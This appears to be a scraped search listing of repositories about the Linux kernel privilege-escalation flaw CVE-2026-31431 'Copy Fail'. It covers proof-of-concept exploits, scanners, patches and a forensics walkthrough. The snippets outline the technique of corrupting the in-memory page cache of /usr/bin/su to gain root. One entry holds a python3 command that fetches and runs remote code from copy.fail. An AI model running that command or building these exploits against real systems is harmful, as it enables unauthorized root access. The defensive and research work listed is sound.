CVE-2026-31431

CVE-2026-31431 Copy Fail — C PoC Trivial unprivileged LPE by writing 4 controlled bytes into the page cache of any readable file via a logic bug in AFALG kernel 4.14 → early 2026. Corrupt /usr/bin/su in-memory, then run it → root. Build & Run 1. Generate an ELF payload reverse shell example...

CVE-2026-31431

CVE-2026-31431...

Linux-CopyFail-C-Version-CVE-2026-31431

Linux CopyFail- C Version - CVE-2026-31431 Clean C version of Copy Fail CVE-2026-31431 - Linux Local Privilege Escalation exploit using AFALG + authencesn + splice primitive. Overwrites the page cache of /usr/bin/su with a tiny setuid shellcode to gain root privileges. Educational proof-of-concep...

CopyFail-Scanner-CVE-2026-31431

CopyFail-Scanner-CVE-2026-31431 CopyFail-Scanner is a tool that identifies the CopyFile vulnerability CVE-2026-31431. Enumerates the system Assesses exposure to the vulnerability Indicates the status vulnerable/not vulnerable Suggests and, optionally, executes a secure update based on the distro...

copy-fail-go

copy-fail-go Go port of grenkoca's Python PoC for CVE-2026-31431 copy-fail. This version compiles to a fully static binary with zero runtime dependencies - no Python, no pip, no libc version constraints. Drop it on any Linux target and run it. It also automatically enumerates all SUID...

copy-fail-CVE-2026-31431-Python-Golfing

This repository does not have a README...

Copy-Fail-CVE-2026-31431-modernized

Copy-Fail-CVE-2026-31431-modernized A modernized version of Copy Fail PE How to use it: Just clone the repository and run the Poc.py : Educational purpose This proof of concept is only for educational purpose Inspired by : Main Exploit by theori-io...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Technical Writeup Tested Distro / Version Distro| Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el101 SUSE 16| 6.12.0-160000.9-default...

CVE-2026-31431

CVE-2026-31431 Proof of Concept PoC This repository contains a Proof of Concept PoC exploit for CVE-2026-31431 , demonstrating a local privilege escalation vulnerability. !WARNING This project is intended strictly for educational and security research purposes only. Use it only on systems you own...

cve_2026_31431_audit

CVE-2026-31431 Audit This project provides a professional Python script designed to check if a system is vulnerable to CVE-2026-31431 and demonstrates how to exploit it for research purposes. 🎬 Full Workflow The diagram below illustrates the complete workflow from Environment Audit SCAN, Patch...

copy-fail-tiny-elf-CVE-2026-31431

Copy Fail Tiny ELF - CVE-2026-31431 Minimal 436-bytes exploit for Copy Fail, thanks to the power of golfing Magic This ELF ultra golfs the exploit by being totally unmapped, rwx, and by using itself conditionally as the ELF payload to use to poison the cache. More cursed ELF internals golfs comin...

RK35xx-CopyFail-Hotfix

RK35xx Kernel Patch: CVE-2026-31431 "Copy Fail" RK35xx CopyFail Hotfix: CVE-2026-31431 Patch for Joshua Riek's Ubuntu 24.04 A community-provided, pre-compiled kernel patch for all RK35xx single-board computers Rock 5, Orange Pi 5, NanoPC, etc. running Joshua Riek's Ubuntu 24.04 Kernel...

COPY-FAIL

Copy Fail -- CVE-2026-31431 Hardened C implementation for redteam and authorized penetration testing operations. ⚠️ Legal Notice: This tool is intended solely for authorized security research, authorized penetration testing, and defensive analysis. Use on systems you own or have explicit written...

Copy_Grail

copygrail | copy-fail-CVE-2026-31431 copygrail is a compact, single-file C++ implementation of the CVE-2026-31431 "Copy Fail" local privilege escalation vulnerability. It showcases a clean AFALG + splice page cache corruption technique that can be used to overwrite a setuid binary and escalate...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2026-31431-patch

CVE-2026-31431-patch A temporary mitigation for CVE-2026-31431 vulneribility git clone https://github.com/rshosting/CVE-2026-31431-patch.git cd CVE-2026-31431-patch sh checkaead.sh Once server is back from reboot execute below script: sh completeaead.sh...

copyfail-dfir

CVE-2026-31431 Copy Fail: DFIR Investigation Walkthrough An interactive, step-by-step forensic investigation walkthrough for the Copy Fail Linux kernel vulnerability CVE-2026-31431. Click through an incident response scenario, from SIEM alert to confirmed verdict, with the commands an analyst wou...

check-cve-2026-31431

This script is entirely generated by Claude. I'm not that expert, I just needed a small script to check whether my few servers were vulnerable or not...

copy-fail-CVE-2026-31431

Copy Fail CVE-2026-31431 - PoC This repository contains a Proof of Concept PoC for the Copy Fail CVE-2026-31431 vulnerability. ⚠️ Disclaimer: This project is for educational and research purposes only. Do NOT use this on systems you do not own or do not have permission to test. 🧪 Usage Follow the...

copyfailautopatch

copyfailautopatch Detect and optionally mitigate CVE-2026-31431 "Copy Fail" on a Linux host. The vulnerability is a page-cache write primitive reachable through the AFALG socket family using the authencesnhmacsha256,cbcaes AEAD transform. This script reproduces the same primitive Theori...